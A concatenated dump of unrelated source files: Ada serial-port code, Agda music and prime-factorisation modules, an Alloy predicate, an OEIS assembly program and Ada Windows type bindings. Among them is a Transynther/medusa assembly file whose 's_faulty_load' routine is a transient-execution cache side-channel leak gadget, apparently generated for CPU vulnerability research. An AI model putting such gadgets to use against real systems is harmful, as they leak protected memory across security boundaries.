Keyboard_Sender_Task.Stop;
Redirector.Router.Set_Destination (Redirector.Local);
end Close;
task body Receiver is
B : Character;
begin
accept Start do
Log (DEBUG, "Serial Receiver Started");
end Start;
loop
begin
Character'Read (Port'Access, B);
Redirector.Router.Handle_Data (B);
exception
when Ada.IO_Exceptions.END_ERROR =>
null;
end;
end loop;
exception
when Error: others =>
Log (WARNING, Exception_Information (Error));
Log (INFO, "Serial Receiver loop exited");
Close;
end Receiver;
task body Keyboard_Sender is
begin
accept Start do
Log (DEBUG, "Serial Keyboard_Sender Started");
end Start;
loop
select
accept Accept_Data (Data : in String) do
declare
SEA : Stream_Element_Array (1..Data'Length);
begin
for I in 1 .. Data'Length loop
SEA(Stream_Element_Offset(I)) := Stream_Element(Character'Pos(Data(I)));
end loop;
Write (Port, SEA);
end;
end Accept_Data;
or
accept Send_Break do
declare
SEA : Stream_Element_Array (1..1);
begin
-- Set a very slow data rate
GNAT.Serial_Communications.Set (Port, B110, CS8, Two, None);
SEA(1) := 0; -- all zeroes
Write (Port, SEA);
-- Reset port to user settings
GNAT.Serial_Communications.Set (Port, User_Rate, User_Bits, User_Stop_Bits, User_Parity);
end;
end Send_Break;
or
accept Stop;
Log (DEBUG, "Serial Keyboard_Sender Stopped");
exit;
or
terminate;
end select;
end loop;
end Keyboard_Sender;
end Serial; |
doc/icfp20/code/Music.agda | halfaya/MusicTools | 28 | 6373 | <filename>doc/icfp20/code/Music.agda
{-# OPTIONS --without-K #-}
module Music where
open import Data.Nat using (ℕ; zero; suc; _+_; _*_)
open import Data.Integer using (ℤ; +_)
open import Data.List using (List; foldr; []; _∷_; reverse)
open import Data.Product using (_×_; _,_)
open import Data.Vec using (Vec; []; _∷_; replicate; concat; map; zipWith; toList; _++_; sum; foldr₁)
open import Function using (_∘_)
open import Note
open import Pitch
open import Interval
-- A point in the music grid, which can either be a tone,
-- a continuation of a previous tone, or a rest.
data Point : Set where
tone : Pitch → Point
hold : Pitch → Point
rest : Point
data Melody (n : ℕ) : Set where
melody : Vec Point n → Melody n
unmelody : {n : ℕ} → Melody n → Vec Point n
unmelody (melody ps) = ps
note→melody : (n : Note) → Melody (noteDuration n)
note→melody (tone (duration zero) p) = melody []
note→melody (tone (duration (suc d)) p) = melody (tone p ∷ replicate (hold p))
note→melody (rest _) = melody (replicate rest)
-- Assumes melody is well-formed in that a held note has the
-- same pitch as the note before it.
-- Does not consolidate rests.
melody→notes : {n : ℕ} → Melody n → List Note
melody→notes (melody m) = (reverse ∘ mn 0 ∘ reverse ∘ toList) m
where mn : ℕ → List Point → List Note -- c is the number of held points
mn c [] = []
mn c (tone p ∷ ps) = tone (duration (suc c)) p ∷ mn 0 ps
mn c (hold _ ∷ ps) = mn (suc c) ps
mn c (rest ∷ ps) = rest (duration 1) ∷ mn 0 ps
pitches→melody : {n : ℕ} → (d : Duration) → (ps : Vec Pitch n) → Melody (n * unduration d)
pitches→melody d ps = melody (concat (map (unmelody ∘ note→melody ∘ tone d) ps))
transposePoint : ℤ → Point → Point
transposePoint k (tone p) = tone (transposePitch k p)
transposePoint k (hold p) = hold (transposePitch k p)
transposePoint k rest = rest
transposeMelody : {n : ℕ} → ℤ → Melody n → Melody n
transposeMelody k = melody ∘ map (transposePoint k) ∘ unmelody
data Chord (n : ℕ) : Set where
chord : Vec Point n → Chord n
unchord : {n : ℕ} → Chord n → Vec Point n
unchord (chord ps) = ps
-- We represent music as a v × d grid where v is the number of voices and d is the duration.
-- The primary representation is as parallel melodies (counterpoint).
data Counterpoint (v : ℕ) (d : ℕ): Set where
cp : Vec (Melody d) v → Counterpoint v d
uncp : {v d : ℕ} → Counterpoint v d → Vec (Melody d) v
uncp (cp m) = m
-- An alternative representation of music is as a series of chords (harmonic progression).
data Harmony (v : ℕ) (d : ℕ): Set where
harmony : Vec (Chord v) d → Harmony v d
unharmony : {v d : ℕ} → Harmony v d → Vec (Chord v) d
unharmony (harmony h) = h
pitches→harmony : {n : ℕ} (d : Duration) → (ps : Vec Pitch n) → Harmony n (unduration d)
pitches→harmony (duration zero) ps = harmony []
pitches→harmony (duration (suc d)) ps = harmony (chord (map tone ps) ∷ replicate (chord (map hold ps)))
pitchPair→Harmony : (d : Duration) → PitchPair → Harmony 2 (unduration d)
pitchPair→Harmony d (p , q) = pitches→harmony d (p ∷ q ∷ [])
pitchInterval→Harmony : (d : Duration) → PitchInterval → Harmony 2 (unduration d)
pitchInterval→Harmony d = pitchPair→Harmony d ∘ pitchIntervalToPitchPair
{-
pitchIntervalsToCounterpoint : PitchInterval → Counterpoint
pitchIntervalsToCounterpoint = pitchPairToCounterpoint ∘ pitchIntervalToPitchPair
-}
addEmptyVoice : {v d : ℕ} → Harmony v d → Harmony (suc v) d
addEmptyVoice (harmony h) = harmony (map (chord ∘ (rest ∷_) ∘ unchord) h)
infixl 5 _+H+_
_+H+_ : {v d d' : ℕ} → Harmony v d → Harmony v d' → Harmony v (d + d')
h +H+ h' = harmony (unharmony h ++ unharmony h')
foldIntoHarmony : {k n : ℕ} (ds : Vec Duration (suc k)) → (pss : Vec (Vec Pitch n) (suc k)) → Harmony n (foldr₁ _+_ (map unduration ds))
foldIntoHarmony (d ∷ []) (ps ∷ []) = pitches→harmony d ps
foldIntoHarmony (d ∷ d' ∷ ds) (ps ∷ ps' ∷ pss) = (pitches→harmony d ps) +H+ (foldIntoHarmony (d' ∷ ds) (ps' ∷ pss))
-- matrix transposition
mtranspose : {A : Set}{m n : ℕ} → Vec (Vec A n) m → Vec (Vec A m) n
mtranspose [] = replicate []
mtranspose (xs ∷ xss) = zipWith _∷_ xs (mtranspose xss)
counterpoint→harmony : {v d : ℕ} → Counterpoint v d → Harmony v d
counterpoint→harmony = harmony ∘ map chord ∘ mtranspose ∘ map unmelody ∘ uncp
harmony→counterpoint : {v d : ℕ} → Harmony v d → Counterpoint v d
harmony→counterpoint = cp ∘ map melody ∘ mtranspose ∘ map unchord ∘ unharmony
|
alloy4fun_models/trashltl/models/5/aWtAqSiuqfnLAardw.als | Kaixi26/org.alloytools.alloy | 0 | 938 | <filename>alloy4fun_models/trashltl/models/5/aWtAqSiuqfnLAardw.als
open main
pred idaWtAqSiuqfnLAardw_prop6 {
eventually always some Trash
}
pred __repair { idaWtAqSiuqfnLAardw_prop6 }
check __repair { idaWtAqSiuqfnLAardw_prop6 <=> prop6o } |
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_832.asm | ljhsiun2/medusa | 9 | 178761 | <reponame>ljhsiun2/medusa
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r8
push %r9
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x13ad0, %rsi
lea addresses_A_ht+0xb010, %rdi
nop
nop
nop
dec %rbp
mov $3, %rcx
rep movsq
nop
nop
nop
nop
nop
add $23731, %r13
lea addresses_WC_ht+0x6bb0, %rax
nop
nop
nop
sub %r9, %r9
and $0xffffffffffffffc0, %rax
vmovaps (%rax), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $0, %xmm6, %rcx
nop
xor $6614, %r13
lea addresses_D_ht+0x4b90, %r13
nop
nop
cmp %rdi, %rdi
mov $0x6162636465666768, %rsi
movq %rsi, %xmm5
vmovups %ymm5, (%r13)
add $13783, %r9
lea addresses_normal_ht+0x1af70, %rsi
xor $109, %r13
mov $0x6162636465666768, %rbp
movq %rbp, %xmm5
movups %xmm5, (%rsi)
nop
nop
inc %rsi
lea addresses_WT_ht+0x11594, %r9
nop
nop
nop
dec %rax
mov $0x6162636465666768, %r13
movq %r13, %xmm5
movups %xmm5, (%r9)
nop
nop
nop
nop
add %r13, %r13
lea addresses_D_ht+0x9bb0, %rcx
inc %r13
mov (%rcx), %ax
sub %r9, %r9
lea addresses_UC_ht+0xfb40, %rsi
lea addresses_A_ht+0x75b0, %rdi
nop
add $60211, %r8
mov $22, %rcx
rep movsw
add %rsi, %rsi
lea addresses_UC_ht+0x8188, %r13
clflush (%r13)
nop
nop
nop
nop
add %rax, %rax
movb $0x61, (%r13)
nop
nop
nop
nop
inc %r9
lea addresses_normal_ht+0x37b0, %rbp
nop
inc %rcx
mov (%rbp), %r9
nop
nop
nop
nop
cmp %rbp, %rbp
lea addresses_normal_ht+0xf030, %rsi
lea addresses_normal_ht+0x191b0, %rdi
nop
add %rax, %rax
mov $93, %rcx
rep movsw
nop
nop
xor %rbp, %rbp
lea addresses_UC_ht+0x147b0, %rsi
lea addresses_A_ht+0xd3b0, %rdi
nop
cmp %r8, %r8
mov $88, %rcx
rep movsb
nop
cmp $6237, %rbp
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r8
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r8
push %rax
push %rcx
push %rdi
push %rsi
// REPMOV
lea addresses_PSE+0x12a10, %rsi
lea addresses_PSE+0x169b0, %rdi
nop
nop
sub $44410, %rax
mov $69, %rcx
rep movsl
nop
nop
nop
nop
nop
add %rcx, %rcx
// Faulty Load
lea addresses_D+0x1ddb0, %r11
nop
dec %r8
movups (%r11), %xmm3
vpextrq $1, %xmm3, %rsi
lea oracles, %r12
and $0xff, %rsi
shlq $12, %rsi
mov (%r12,%rsi,1), %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_D', 'congruent': 0}}
{'dst': {'same': False, 'congruent': 10, 'type': 'addresses_PSE'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_PSE'}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_D', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'congruent': 5, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_normal_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 32, 'type': 'addresses_WC_ht', 'congruent': 9}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_D_ht', 'congruent': 5}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_normal_ht', 'congruent': 6}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WT_ht', 'congruent': 1}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_D_ht', 'congruent': 9}}
{'dst': {'same': True, 'congruent': 9, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 4, 'type': 'addresses_UC_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_UC_ht', 'congruent': 1}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_normal_ht', 'congruent': 9}}
{'dst': {'same': False, 'congruent': 10, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_normal_ht'}}
{'dst': {'same': True, 'congruent': 9, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_UC_ht'}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
Numeral/Natural/Prime/Proofs/Representation.agda | Lolirofle/stuff-in-agda | 6 | 6178 | module Numeral.Natural.Prime.Proofs.Representation where
import Lvl
open import Data.Either as Either using ()
open import Data.Tuple as Tuple using ()
open import Functional
open import Function.Equals
open import Lang.Instance
open import Logic.Predicate
open import Logic.Propositional
open import Numeral.CoordinateVector
open import Numeral.Finite
open import Numeral.Natural
open import Numeral.Natural.Oper
open import Numeral.Natural.Prime
open import Numeral.Natural.Relation
open import Numeral.Natural.Relation.Divisibility
open import Numeral.Natural.Relation.Divisibility.Proofs
open import Numeral.Natural.Relation.Divisibility.Proofs.Product
open import Relator.Equals
open import Relator.Equals.Proofs.Equiv
open import Structure.Relator.Equivalence.Proofs
open import Structure.Relator.Properties
open import Structure.Setoid renaming (_≡_ to _≡ₛ_ ; _≢_ to _≢ₛ_)
open import Structure.Setoid.Uniqueness
open import Syntax.Transitivity
open import Type
open import Type.Dependent
private variable a b : ℕ
record PrimePowers(f : ℕ → ℕ) : Type{Lvl.𝟎} where
constructor intro
field
positive-powers : Σ ℕ (n ↦ Vector(n)(ℕ))
zeroes-correctness : ∀{n} → Positive(f(n)) ↔ ∃(i ↦ (Σ.right positive-powers(i) ≡ n))
prime-correctness : ∀{i} → Prime(Σ.right positive-powers(i))
product : ℕ
product = foldᵣ(_⋅_)(1) (map(n ↦ n ^ f(n)) (Σ.right positive-powers))
powers-is-positive : ∀{i} → Positive(f(Σ.right positive-powers(i)))
powers-is-positive = [↔]-to-[←] zeroes-correctness ([∃]-intro _ ⦃ [≡]-intro ⦄)
-- postulate power-divide-product : ∀{i} → (Σ.right positive-powers i ∣ product)
{-power-divide-product {pp}{i = 𝟎} = divides-with-[⋅]
{b = (PrimePowers.positive-powers pp 𝟎) ^ (PrimePowers.power pp (PrimePowers.positive-powers pp 𝟎))}
{c = foldᵣ(_⋅_)(1) (tail(map(n ↦ n ^ PrimePowers.power pp(n)) (PrimePowers.positive-powers pp)))}
([∨]-introₗ (divides-withᵣ-[^] ⦃ PrimePowers.powers-is-positive pp ⦄ (reflexivity(_∣_))))
power-divide-product {pp}{i = 𝐒 i} = divides-with-[⋅]
{b = (PrimePowers.positive-powers pp 𝟎) ^ (PrimePowers.power pp (PrimePowers.positive-powers pp 𝟎))}
{c = foldᵣ(_⋅_)(1) (tail(map(n ↦ n ^ PrimePowers.power pp(n)) (PrimePowers.positive-powers pp)))}
([∨]-introᵣ {!!})
-}
instance
PrimePowers-equiv : Equiv(∃ PrimePowers)
Equiv._≡_ PrimePowers-equiv = (_⊜_) on₂ [∃]-witness
Equiv.equivalence PrimePowers-equiv = on₂-equivalence ⦃ Equiv.equivalence [⊜]-equiv ⦄
{-
-- Each positive number have a corresponding finite multiset of prime numbers such that it is equal to the product of the numbers in the multiset.
-- Examples:
-- n = (p₁ ^ n₁) ⋅ (p₂ ^ n₂) ⋅ … ⋅ (pₖ ^ nₖ)
-- Also called:
-- • Fundamental theorem of arithmetic.
-- • Canonical representation of positive integers by primes.
-- • Unique prime factorization theorem.
prime-representation : ∀{n} → ⦃ pos : Positive(n) ⦄ → ∃! ⦃ PrimePowers-equiv ⦄ (pp ↦ (n ≡ PrimePowers.product pp))
∃.witness (Tuple.left prime-representation) = {!!}
∃.proof (Tuple.left prime-representation) = {!!}
_⊜_.proof (Tuple.right (prime-representation {𝐒 n}) {pp1} {pp2} p1 p2) {p} = {!!}
-}
open import Logic.Classical
open import Numeral.Natural.Decidable
{-
prime-representation : ∀{n} → ⦃ pos : Positive(n) ⦄ → ∃! ⦃ PrimePowers-equiv ⦄ (pp ↦ (n ≡ PrimePowers.product([∃]-proof pp)))
prime-representation {𝐒 n} ⦃ pos ⦄ = [∧]-intro p1 (\{x}{y} → p2{x}{y}) where
p1 : ∃(pp ↦ (𝐒(n) ≡ PrimePowers.product ([∃]-proof pp)))
p2 : Unique(pp ↦ (𝐒(n) ≡ PrimePowers.product ([∃]-proof pp)))
p2 {[∃]-intro x ⦃ ppx ⦄}{[∃]-intro y ⦃ ppy ⦄} px py with PrimePowers.positive-powers ppx | PrimePowers.positive-powers ppy
p2 {[∃]-intro x ⦃ ppx ⦄} {[∃]-intro y ⦃ ppy ⦄} px py | intro 𝟎 b | intro 𝟎 d = intro {!!}
p2 {[∃]-intro x ⦃ ppx ⦄} {[∃]-intro y ⦃ ppy ⦄} px py | intro 𝟎 b | intro (𝐒 c) d = {!!}
p2 {[∃]-intro x ⦃ ppx ⦄} {[∃]-intro y ⦃ ppy ⦄} px py | intro (𝐒 a) b | intro 𝟎 d = {!!}
p2 {[∃]-intro x ⦃ ppx ⦄} {[∃]-intro y ⦃ ppy ⦄} px py | intro (𝐒 a) b | intro (𝐒 c) d = {!!}
-- let xy = symmetry(_≡_) px 🝖 py
-- in intro \{p} → {!PrimePowers.power-divide-product ppx!}
-}
|
programs/oeis/184/A184009.asm | karttu/loda | 1 | 91150 | <filename>programs/oeis/184/A184009.asm
; A184009: n-1+ceiling((3/4)n^2); complement of A184008.
; 1,3,6,10,15,21,27,35,43,52,62,73,85,97,111,125,140,156,173,191,209,229,249,270,292,315,339,363,389,415,442,470,499,529,559,591,623,656,690,725,761,797,835,873,912,952,993,1035,1077,1121,1165,1210,1256,1303,1351,1399,1449,1499,1550,1602,1655,1709,1763,1819,1875,1932,1990,2049,2109,2169,2231,2293
mov $1,3
mul $1,$0
add $1,13
mul $1,$0
div $1,7
add $1,1
|
extern/gnat_sdl/gnat_sdl/src/basetsd_h.ads | AdaCore/training_material | 15 | 24017 | pragma Ada_2005;
pragma Style_Checks (Off);
with Interfaces.C; use Interfaces.C;
with Interfaces.C.Strings;
with Interfaces.C.Extensions;
with System;
package basetsd_h is
-- unsupported macro: SPOINTER_32 POINTER_SIGNED POINTER_32
-- unsupported macro: UPOINTER_32 POINTER_UNSIGNED POINTER_32
ADDRESS_TAG_BIT : constant := 16#80000000#; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:97
-- arg-macro: function HandleToULong (h)
-- return (ULONG)(ULONG_PTR)(h);
-- arg-macro: function HandleToLong (h)
-- return (LONG)(LONG_PTR) (h);
-- arg-macro: function ULongToHandle (ul)
-- return (HANDLE)(ULONG_PTR) (ul);
-- arg-macro: function LongToHandle (h)
-- return (HANDLE)(LONG_PTR) (h);
-- arg-macro: function PtrToUlong (p)
-- return (ULONG)(ULONG_PTR) (p);
-- arg-macro: function PtrToLong (p)
-- return (LONG)(LONG_PTR) (p);
-- arg-macro: function PtrToUint (p)
-- return (UINT)(UINT_PTR) (p);
-- arg-macro: function PtrToInt (p)
-- return (INT)(INT_PTR) (p);
-- arg-macro: function PtrToUshort (p)
-- return (unsigned short)(ULONG_PTR)(p);
-- arg-macro: function PtrToShort (p)
-- return (short)(LONG_PTR)(p);
-- arg-macro: function IntToPtr (i)
-- return (VOID *)(INT_PTR)((int)i);
-- arg-macro: function UIntToPtr (ui)
-- return (VOID *)(UINT_PTR)((unsigned int)ui);
-- arg-macro: function LongToPtr (l)
-- return (VOID *)(LONG_PTR)((long)l);
-- arg-macro: function ULongToPtr (ul)
-- return (VOID *)(ULONG_PTR)((unsigned long)ul);
-- arg-macro: function Ptr32ToPtr (p)
-- return (void *) (ULONG_PTR) p;
-- arg-macro: function Handle32ToHandle (h)
-- return Ptr32ToPtr(h);
-- arg-macro: function PtrToPtr32 (p)
-- return (void *) (ULONG_PTR) p;
-- arg-macro: function HandleToHandle32 (h)
-- return PtrToPtr32(h);
-- arg-macro: procedure HandleToUlong (h)
-- HandleToULong(h)
-- arg-macro: procedure UlongToHandle (ul)
-- ULongToHandle(ul)
-- arg-macro: procedure UlongToPtr (ul)
-- ULongToPtr(ul)
-- arg-macro: procedure UintToPtr (ui)
-- UIntToPtr(ui)
-- unsupported macro: MAXUINT_PTR (~((UINT_PTR)0))
-- unsupported macro: MAXINT_PTR ((INT_PTR)(MAXUINT_PTR >> 1))
-- unsupported macro: MININT_PTR (~MAXINT_PTR)
-- unsupported macro: MAXULONG_PTR (~((ULONG_PTR)0))
-- unsupported macro: MAXLONG_PTR ((LONG_PTR)(MAXULONG_PTR >> 1))
-- unsupported macro: MINLONG_PTR (~MAXLONG_PTR)
-- unsupported macro: MAXUHALF_PTR ((UHALF_PTR)~0)
-- unsupported macro: MAXHALF_PTR ((HALF_PTR)(MAXUHALF_PTR >> 1))
-- unsupported macro: MINHALF_PTR (~MAXHALF_PTR)
subtype POINTER_64_INT is unsigned_long; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:14
subtype INT8 is char; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:30
type PINT8 is new Interfaces.C.Strings.chars_ptr; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:30
subtype INT16 is short; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:31
type PINT16 is access all short; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:31
subtype INT32 is int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:32
type PINT32 is access all int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:32
subtype INT64 is Long_Long_Integer; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:33
type PINT64 is access all Long_Long_Integer; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:33
subtype UINT8 is unsigned_char; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:34
type PUINT8 is access all unsigned_char; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:34
subtype UINT16 is unsigned_short; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:35
type PUINT16 is access all unsigned_short; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:35
subtype UINT32 is unsigned; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:36
type PUINT32 is access all unsigned; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:36
subtype UINT64 is Extensions.unsigned_long_long; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:37
type PUINT64 is access all Extensions.unsigned_long_long; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:37
subtype LONG32 is int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:38
type PLONG32 is access all int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:38
subtype ULONG32 is unsigned; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:39
type PULONG32 is access all unsigned; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:39
subtype DWORD32 is unsigned; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:40
type PDWORD32 is access all unsigned; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:40
subtype INT_PTR is int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:53
type PINT_PTR is access all int; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:53
subtype UINT_PTR is unsigned; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:54
type PUINT_PTR is access all unsigned; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:54
subtype LONG_PTR is long; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:55
type PLONG_PTR is access all long; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:55
subtype ULONG_PTR is unsigned_long; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:56
type PULONG_PTR is access all unsigned_long; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:56
subtype UHALF_PTR is unsigned_short; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:99
type PUHALF_PTR is access all unsigned_short; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:99
subtype HALF_PTR is short; -- c:\home\ochem\install\bin\../lib/gcc/i686-pc-mingw32/4.7.3/../../../../i686-pc-mingw32/include/basetsd.h:100
